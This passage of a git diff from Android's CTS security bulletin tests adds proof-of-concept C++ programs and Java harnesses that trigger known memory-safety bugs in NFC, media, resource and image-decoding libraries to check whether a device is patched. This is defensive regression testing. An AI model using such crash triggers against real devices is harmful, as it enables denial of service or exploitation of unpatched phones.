+    FAIL_CHECK(p_data);
 
-    p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16);
-    if (!(p_data->data.p_data)) {
-        free(p_data);
-        return EXIT_FAILURE;
-    }
+    p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16);
+    FAIL_CHECK(p_data->data.p_data);
 
     p_data->data.status = NFC_STATUS_OK;
     tNFC_CONN_EVT event = NFC_DATA_CEVT;
 
-    NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data;
-    mfc_data->len = 0x10;
+    NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data;
+    mfc_data->len = RW_MFC_DATA_LEN;
     mfc_data->offset = 0;
-    p_mfc->ndef_length = 1024;
-    p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16);
-    if (!(p_mfc->p_ndef_buffer)) {
-        free(p_data->data.p_data);
-        free(p_data);
-        return EXIT_FAILURE;
-    }
+    p_mfc->ndef_length = P_MFC_NDEF_LENGTH;
+    p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    FAIL_CHECK(p_mfc->p_ndef_buffer);
 
     rw_cb.p_cback = cback;
 
+    isTestInProgress = true;
     p_cb->p_cback(0, event, p_data);
+    isTestInProgress = false;
 
-    free(p_mfc->p_ndef_buffer);
-    free(p_data->data.p_data);
-    free(p_data);
     return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
index 2895e89..2013d52 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2021-0490",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/Android.bp
index e4a6a48..accdc14 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/Android.bp
@@ -30,8 +30,6 @@
     shared_libs: [
         "libbinder",
         "liblog",
-    ],
-    static_libs: [
         "libutils",
     ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
index 86e17dc..cf67bca 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2021-1906",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
new file mode 100644
index 0000000..8fd6801
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-39664",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
+    ],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libandroidfw",
+        "libui",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
new file mode 100644
index 0000000..0c477f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <androidfw/ApkAssets.h>
+
+#include <vector>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using android::LoadedArsc;
+
+bool testInProgress = false;
+char enable_selective_overload = ENABLE_NONE;
+FILE *file = nullptr;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
+void exitHandler(void) {
+    if (file) {
+        fclose(file);
+        file = nullptr;
+    }
+}
+
+int main(int argc, char **argv) {
+    atexit(exitHandler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+    FAIL_CHECK(argc >= 2);
+    file = fopen(argv[1], "r");
+    FAIL_CHECK(file);
+    fseek(file, 0, SEEK_END);
+    size_t size = ftell(file);
+    fseek(file, 0, SEEK_SET);
+    enable_selective_overload = ENABLE_ALL;
+    std::vector<uint8_t> buffer(size);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size);
+    testInProgress = true;
+    LoadedArsc::Load(buffer.data(), size);
+    testInProgress = false;
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
new file mode 100644
index 0000000..0597cdf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-39665",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults"
+    ],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libmediaplayerservice",
+        "libstagefright_foundation",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libstagefright/rtsp",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
new file mode 100644
index 0000000..a008005
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
@@ -0,0 +1,84 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include "../includes/common.h"
+
+#define private public
+#include "AAVCAssembler.h"
+
+using namespace android;
+
+bool isOverloadingEnabled = false;
+
+bool isTestInProgress = false;
+
+struct sigaction newAction, oldAction;
+
+static void *(*realMalloc)(size_t) = nullptr;
+
+void *malloc(size_t size) {
+    if (!realMalloc) {
+        realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+        if (!realMalloc) {
+            return nullptr;
+        }
+    }
+    if (isOverloadingEnabled && (size == 0)) {
+        size_t pageSize = sysconf(_SC_PAGE_SIZE);
+        void *ptr = memalign(pageSize, pageSize);
+        mprotect(ptr, pageSize, PROT_NONE);
+        return ptr;
+    }
+    return realMalloc(size);
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*oldAction.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
+int main() {
+    sigemptyset(&newAction.sa_mask);
+    newAction.sa_flags = SA_SIGINFO;
+    newAction.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &newAction, &oldAction);
+
+    sp<ABuffer> buffer(new ABuffer(16));
+    FAIL_CHECK(buffer != nullptr);
+
+    sp<AMessage> meta = buffer->meta();
+    FAIL_CHECK(meta != nullptr);
+
+    uint32_t rtpTime = 16;
+    meta->setInt32("rtp-time", rtpTime);
+
+    AAVCAssembler *assembler = new AAVCAssembler(meta);
+    FAIL_CHECK(assembler != nullptr);
+
+    isOverloadingEnabled = true;
+    sp<ABuffer> zeroSizedBuffer(new ABuffer(0));
+    isOverloadingEnabled = false;
+
+    isTestInProgress = true;
+    assembler->checkSpsUpdated(zeroSizedBuffer);
+    isTestInProgress = false;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
new file mode 100644
index 0000000..b4bdd3c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-39675",
+    compile_multilib: "64",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
+    ],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+       "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
new file mode 100644
index 0000000..78ebda8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
@@ -0,0 +1,22 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "gki.h"
+
+int main() {
+    return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
new file mode 100644
index 0000000..109a665
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-39804",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libbinder",
+        "libjnigraphics",
+        "libutils",
+        "libui",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
new file mode 100644
index 0000000..db09dee
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written taking reference from
+// frameworks/base/native/graphics/jni/imagedecoder.cpp
+
+#include "../includes/common.h"
+#include <android/imagedecoder.h>
+#include <binder/IPCThreadState.h>
+#include <vector>
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGSEGV) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+int main(int argc, char **argv) {
+  FAIL_CHECK(argc >= 2);
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigsegv_handler;
+  sigaction(SIGSEGV, &new_action, &old_action);
+  android::ProcessState::self()->startThreadPool();
+  FILE *file = fopen(argv[1], "r");
+  FAIL_CHECK(file);
+  fseek(file, 0, SEEK_END);
+  size_t size = ftell(file);
+  fseek(file, 0, SEEK_SET);
+  std::vector<uint8_t> buffer(size);
+  fread((void *)buffer.data(), 1, size, file);
+  fclose(file);
+  testInProgress = true;
+  AImageDecoder *decoder;
+  if (AImageDecoder_createFromBuffer(buffer.data(), size, &decoder) ==
+      ANDROID_IMAGE_DECODER_SUCCESS) {
+    AImageDecoder_delete(decoder);
+  }
+  testInProgress = false;
+  FAIL_CHECK(decoder);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp
index a48d5b7..2fdb4dc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2021-6685",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index 0f894a6..50dd8ac 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -36,7 +36,7 @@
 time_t start_timer(void);
 int timer_active(time_t timer_started);
 
-inline time_t start_timer() { return time(NULL); }
+inline time_t start_timer(void) { return time(NULL); }
 
 inline int timer_active(time_t timer_started) {
   return time(NULL) < (timer_started + MAX_TEST_DURATION);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 63a5370..75bbd0a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends BaseHostJUnit4Test {
+public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.BUG_183613671";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index e31cb47..adf6103 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@
 import org.junit.runner.RunWith;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends BaseHostJUnit4Test {
+public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.BUG_183963253";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 31da488..b127c85 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,14 +14,19 @@
  * limitations under the License.
  */
 
+
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
-import com.android.tradefed.device.ITestDevice;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
+import java.util.regex.Pattern;
+
 import org.junit.runner.RunWith;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2018_9558 extends SecurityTestCase {
@@ -29,16 +34,23 @@
     /**
      * b/112161557
      * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
      */
     @Test
     @AsbSecurityTest(cveBugId = 112161557)
     public void testPocCVE_2018_9558() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
+        String signals[] = {CrashUtils.SIGABRT};
         String binaryName = "CVE-2018-9558";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t2t_handle_tlv_detect_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
new file mode 100644
index 0000000..181d660
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2012 extends SecurityTestCase {
+
+    /**
+     * b/120497437
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t3t_update_block (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 120497437)
+    @Test
+    public void testPocCVE_2019_2012() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2019-2012";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(
+                        new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
new file mode 100644
index 0000000..b7c2ea8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2017 extends SecurityTestCase {
+
+    /**
+     * b/121035711
+     * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 121035711)
+    @Test
+    public void testPocCVE_2019_2017() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGABRT};
+        String binaryName = "CVE-2019-2017";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t2t_handle_tlv_detect_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
new file mode 100644
index 0000000..b65faee
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2020 extends SecurityTestCase {
+
+    /**
+     * b/116788646
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: llcp_dlc_proc_rx_pdu (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 116788646)
+    @Test
+    public void testPocCVE_2019_2020() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2019-2020";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "llcp_dlc_proc_rx_pdu"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.checkMinAddress(false);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
new file mode 100644
index 0000000..21b2285
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
